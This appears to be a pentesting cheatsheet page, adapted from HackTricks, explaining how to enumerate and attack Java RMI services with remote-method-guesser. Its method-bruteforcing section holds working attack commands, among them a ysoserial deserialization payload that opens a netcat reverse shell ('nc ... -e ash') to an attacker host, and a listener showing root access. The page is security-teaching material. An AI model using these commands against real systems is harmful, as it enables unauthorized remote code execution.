daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

1099-pentesting-java-rmi.md (18036B)


      1 ---
      2 title: "1099 (legacy 1098/1050) - Pentesting Java RMI and RMI-IIOP"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/1099-pentesting-java-rmi.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/1099-pentesting-java-rmi.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 1099 (legacy 1098/1050) - Pentesting Java RMI and RMI-IIOP
     14 
     15 ## Basic Information
     16 
     17 _Java Remote Method Invocation_ (_Java RMI_) is an object-oriented RPC mechanism that lets code in one Java Virtual Machine invoke methods on a remote object in another JVM. A short introduction from an offensive perspective appears in [this Black Hat talk](https://youtu.be/t_aw1mDNhzI?t=202).<sup>[[6]](#references)</sup>
     18 
     19 The RMI registry defaults to TCP **1099**. TCP 1098 was the historical default for `rmid` (RMI Activation), and 1050 is commonly associated with legacy CORBA naming/RMI-IIOP deployments. The other ports below are application conventions frequently worth checking, not Java RMI protocol defaults. RMI-IIOP was removed from Java SE 11, and RMI Activation/`rmid` was removed from JDK 17, though older runtimes and third-party application servers remain in scope.<sup>[[7]](#references)[[8]](#references)[[9]](#references)</sup>
     20 
     21 **Commonly observed ports:** 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, and 9999.
     22 
     23 ```text
     24 PORT      STATE SERVICE      VERSION
     25 1090/tcp  open  ssl/java-rmi Java RMI
     26 9010/tcp  open  java-rmi     Java RMI
     27 37471/tcp open  java-rmi     Java RMI
     28 40259/tcp open  ssl/java-rmi Java RMI
     29 ```
     30 
     31 The RMI registry is commonly bound to a known port. Application objects may share a configured server port or use an ephemeral port when exported with port `0`, as in the scan output above. On legacy Java versions, the Activation System may also be exposed on its configured port.
     32 
     33 Nmap may have trouble identifying TLS-protected RMI services. Investigate an unknown TLS service on a common RMI/application-management port with protocol-aware tooling.
     34 
     35 ## RMI Components
     36 
     37 To put it in simple terms, _Java RMI_ allows a developer to make a _Java object_ available on the network. This opens up a _TCP_ port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that _Java RMI_ needs to solve:
     38 
     39 1. To dispatch a method call, an RMI client needs a remote reference containing the endpoint and object identifier, plus compatible remote-interface/stub information. An `ObjID` identifies an exported object within an RMI runtime. Generated IDs are unique for their host/time scope but are not necessarily cryptographically random; registry, DGC, and legacy activator objects use well-known IDs.<sup>[[10]](#references)</sup>
     40 2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The _Java virtual machine_ needs to track which of these resources are still in use and which of them can be garbage collected.
     41 
     42 The first challenge is addressed by the _RMI registry_, a bootstrap naming service. The registry itself is an RMI service with a known interface and well-known `ObjID`, so a client can construct its initial registry reference from a host and port.<sup>[[7]](#references)</sup>
     43 
     44 Developers commonly bind exported objects to an RMI registry. The registry associates a human-readable bound name with a serialized remote reference/stub. That reference contains the transport endpoint and remote-object identity needed for calls, while the client still needs compatible interface/stub classes unless another mechanism supplies them. This is a bootstrap analogy to DNS, not a direct protocol equivalent. The following listing shows a small example:
     45 
     46 ```java
     47 import java.rmi.registry.Registry;
     48 import java.rmi.registry.LocateRegistry;
     49 import lab.example.rmi.interfaces.RemoteService;
     50 
     51 public class ExampleClient {
     52 
     53   private static final String remoteHost = "172.17.0.2";
     54   private static final String boundName = "remote-service";
     55 
     56   public static void main(String[] args)
     57   {
     58     try {
     59       Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
     60       RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
     61       String response = ref.remoteMethod();                           // Call a remote method
     62 
     63     } catch( Exception e) {
     64       e.printStackTrace();
     65     }
     66   }
     67 }
     68 ```
     69 
     70 The second challenge is handled by the _Distributed Garbage Collector_ (_DGC_), an RMI service with a well-known `ObjID` on RMI server endpoints. Clients send `dirty` calls to obtain or renew leases for remote references and `clean` calls when references are no longer held; the server can then determine when an exported object is no longer remotely referenced.<sup>[[6]](#references)</sup>
     71 
     72 Historically, the three well-known components were:
     73 
     74 1. The _RMI Registry_ (`ObjID = 0`)
     75 2. The _Activation System_ (`ObjID = 1`, removed from JDK 17)
     76 3. The _Distributed Garbage Collector_ (`ObjID = 2`)
     77 
     78 These standard components have been attack vectors in outdated Java versions because their interfaces and wire operations are predictable. Custom RMI services require a compatible method hash/signature for a meaningful invocation; attackers may recover it from client code or guess it from response differences, as described below.
     79 
     80 ## RMI Enumeration
     81 
     82 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is a _Java RMI_ vulnerability scanner that is capable of identifying common _RMI vulnerabilities_ automatically. Whenever you identify an _RMI_ endpoint, you should give it a try:<sup>[[2]](#references)</sup>
     83 
     84 ```text
     85 $ rmg enum 172.17.0.2 9010
     86 [+] RMI registry bound names:
     87 [+]
     88 [+] 	- plain-server2
     89 [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
     90 [+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
     91 [+] 	- legacy-service
     92 [+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
     93 [+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
     94 [+] 	- plain-server
     95 [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
     96 [+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
     97 [+]
     98 [+] RMI server codebase enumeration:
     99 [+]
    100 [+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
    101 [+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
    102 [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
    103 [+]
    104 [+] RMI server String unmarshalling enumeration:
    105 [+]
    106 [+] 	- Caught ClassNotFoundException during lookup call.
    107 [+] 	  --> The type java.lang.String is unmarshalled via readObject().
    108 [+] 	  Configuration Status: Outdated
    109 [+]
    110 [+] RMI server useCodebaseOnly enumeration:
    111 [+]
    112 [+] 	- Caught MalformedURLException during lookup call.
    113 [+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
    114 [+] 	  Configuration Status: Non Default
    115 [+]
    116 [+] RMI registry localhost bypass enumeration (CVE-2019-2684):
    117 [+]
    118 [+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
    119 [+] 	  Vulnerability Status: Vulnerable
    120 [+]
    121 [+] RMI Security Manager enumeration:
    122 [+]
    123 [+] 	- Security Manager rejected access to the class loader.
    124 [+] 	  --> The server does use a Security Manager.
    125 [+] 	  Configuration Status: Current Default
    126 [+]
    127 [+] RMI server JEP290 enumeration:
    128 [+]
    129 [+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
    130 [+] 	  Vulnerability Status: Non Vulnerable
    131 [+]
    132 [+] RMI registry JEP290 bypass enmeration:
    133 [+]
    134 [+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
    135 [+] 	  Vulnerability Status: Vulnerable
    136 [+]
    137 [+] RMI ActivationSystem enumeration:
    138 [+]
    139 [+] 	- Caught IllegalArgumentException during activate call (activator is present).
    140 [+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
    141 [+] 	  --> Client codebase enabled	 - Configuration Status: Non Default
    142 ```
    143 
    144 The project's [enumeration documentation](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) explains each probe. Tool labels are hypotheses based on response behavior; verify a reported vulnerability safely against the exact runtime and configuration.<sup>[[5]](#references)</sup>
    145 
    146 For generated `ObjID` values, the embedded `UID` timestamp can estimate when that identifier/address space was created. It may correlate with service start or object export, but it is not a guaranteed JVM uptime measurement:
    147 
    148 ```text
    149 $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
    150 [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
    151 [+]
    152 [+] ObjNum: 		-4004948013687638236
    153 [+] UID:
    154 [+] 	Unique: 	1442798173
    155 [+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
    156 [+] 	Count: 		-32760
    157 ```
    158 
    159 ## Bruteforcing Remote Methods
    160 
    161 Even when enumeration finds no known vulnerability, custom RMI services may expose dangerous methods or deserialize attacker-controlled arguments. Modern JDKs include built-in filters for registry/DGC paths and support process-wide and per-export deserialization filters, but application objects are safe only when an effective filter and narrow parameter types are actually configured.<sup>[[11]](#references)</sup>
    162 
    163 Java RMI does not provide a general remote-reflection operation for enumerating an object's methods. It is nevertheless possible to brute-force candidate method hashes/signatures with tools such as [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) or [rmiscout](https://github.com/BishopFox/rmiscout):<sup>[[2]](#references)[[4]](#references)</sup>
    164 
    165 ```text
    166 $ rmg guess 172.17.0.2 9010
    167 [+] Reading method candidates from internal wordlist rmg.txt
    168 [+] 	752 methods were successfully parsed.
    169 [+] Reading method candidates from internal wordlist rmiscout.txt
    170 [+] 	2550 methods were successfully parsed.
    171 [+]
    172 [+] Starting Method Guessing on 3281 method signature(s).
    173 [+]
    174 [+] 	MethodGuesser is running:
    175 [+] 		--------------------------------
    176 [+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
    177 [+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
    178 [+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
    179 [+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
    180 [+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
    181 [+] 		[6562 / 6562] [#####################################] 100%
    182 [+] 	done.
    183 [+]
    184 [+] Listing successfully guessed methods:
    185 [+]
    186 [+] 	- plain-server2 == plain-server
    187 [+] 		--> String execute(String dummy)
    188 [+] 		--> String system(String dummy, String[] dummy2)
    189 [+] 	- legacy-service
    190 [+] 		--> void logMessage(int dummy1, String dummy2)
    191 [+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
    192 [+] 		--> String login(java.util.HashMap dummy1)
    193 ```
    194 
    195 In an authorized lab, an identified method can be called like this. The command executes the remote application's own `execute` method; `rmg` does not make every discovered method a command-execution primitive:
    196 
    197 ```text
    198 $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
    199 [+] uid=0(root) gid=0(root) groups=0(root)
    200 ```
    201 
    202 If a non-primitive parameter is deserialized without an effective filter and a compatible gadget chain exists on the server classpath, test deserialization with a harmless canary before any command payload. The following is the original lab demonstration:
    203 
    204 ```text
    205 $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
    206 [+] Creating ysoserial payload... done.
    207 [+]
    208 [+] Attempting deserialization attack on RMI endpoint...
    209 [+]
    210 [+] 	Using non primitive argument type java.lang.String on position 0
    211 [+] 	Specified method signature is String execute(String dummy)
    212 [+]
    213 [+] 	Caught ClassNotFoundException during deserialization attack.
    214 [+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
    215 [+] 	Deserialization attack probably worked :)
    216 
    217 $ nc -vlp 4444
    218 Ncat: Version 7.92 ( https://nmap.org/ncat )
    219 Ncat: Listening on :::4444
    220 Ncat: Listening on 0.0.0.0:4444
    221 Ncat: Connection from 172.17.0.2.
    222 Ncat: Connection from 172.17.0.2:45479.
    223 id
    224 uid=0(root) gid=0(root) groups=0(root)
    225 ```
    226 
    227 More information can be found in these articles.<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup>
    228 
    229 Apart from guessing, you should also look in search engines or _GitHub_ for the interface or even the implementation of an encountered _RMI_ service. The _bound name_ and the name of the implemented class or interface can be helpful here.
    230 
    231 ## Known Interfaces
    232 
    233 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marks classes or interfaces as `known` if they are listed in the tool's internal database of known _RMI services_. In these cases you can use the `known` action to get more information on the corresponding _RMI service_:<sup>[[2]](#references)</sup>
    234 
    235 ```text
    236 $ rmg enum 172.17.0.2 1090 | head -n 5
    237 [+] RMI registry bound names:
    238 [+]
    239 [+] 	- jmxrmi
    240 [+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
    241 [+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
    242 
    243 $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
    244 [+] Name:
    245 [+] 	JMX Server
    246 [+]
    247 [+] Class Name:
    248 [+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
    249 [+] 	- javax.management.remote.rmi.RMIServer
    250 [+]
    251 [+] Description:
    252 [+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
    253 [+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
    254 [+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
    255 [+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
    256 [+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
    257 [+]
    258 [+] Remote Methods:
    259 [+] 	- String getVersion()
    260 [+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
    261 [+]
    262 [+] References:
    263 [+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
    264 [+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
    265 [+]
    266 [+] Vulnerabilities:
    267 [+]
    268 [+] 	-----------------------------------
    269 [+] 	Name:
    270 [+] 		MLet
    271 [+]
    272 [+] 	Description:
    273 [+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
    274 [+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
    275 [+] 		is therefore most of the time equivalent to remote code execution.
    276 [+]
    277 [+] 	References:
    278 [+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
    279 [+]
    280 [+] 	-----------------------------------
    281 [+] 	Name:
    282 [+] 		Deserialization
    283 [+]
    284 [+] 	Description:
    285 [+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
    286 [+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
    287 [+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
    288 [+] 		establish a working JMX connection, you can also perform deserialization attacks.
    289 [+]
    290 [+] 	References:
    291 [+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
    292 ```
    293 
    294 ## Shodan
    295 
    296 - `port:1099 java`
    297 
    298 ## Tools
    299 
    300 - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)<sup>[[2]](#references)</sup>
    301 - [rmiscout](https://github.com/BishopFox/rmiscout)
    302 - [BaRMIe](https://github.com/NickstaDB/BaRMIe)
    303 
    304 ## HackTricks Automatic Commands
    305 
    306 ```text
    307 Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
    308 Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
    309 Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out
    310 
    311 Entry_1:
    312   Name: Enumeration
    313   Description: Perform basic enumeration of an RMI service
    314   Command: rmg enum {IP} {PORT}
    315 ```
    316 
    317 ## References
    318 
    319 - [1] [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
    320 - [2] [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
    321 - [3] [Method Guessing - remote-method-guesser docs](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
    322 - [4] [rmiscout](https://bishopfox.com/blog/rmiscout)
    323 - [5] [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)
    324 - [6] [Java Remote Method Invocation Specification](https://docs.oracle.com/en/java/javase/25/docs/specs/rmi/index.html)
    325 - [7] [Java RMI `Registry` API and default port](https://docs.oracle.com/en/java/javase/25/docs/api/java.rmi/java/rmi/registry/Registry.html)
    326 - [8] [JEP 320 – Removal of Java SE CORBA and RMI-IIOP](https://openjdk.org/jeps/320)
    327 - [9] [JEP 407 – Removal of RMI Activation](https://openjdk.org/jeps/407)
    328 - [10] [Java `ObjID` API and well-known object identifiers](https://docs.oracle.com/en/java/javase/17/docs/api/java.rmi/java/rmi/server/ObjID.html)
    329 - [11] [JEP 290 – Filter Incoming Serialization Data](https://openjdk.org/jeps/290)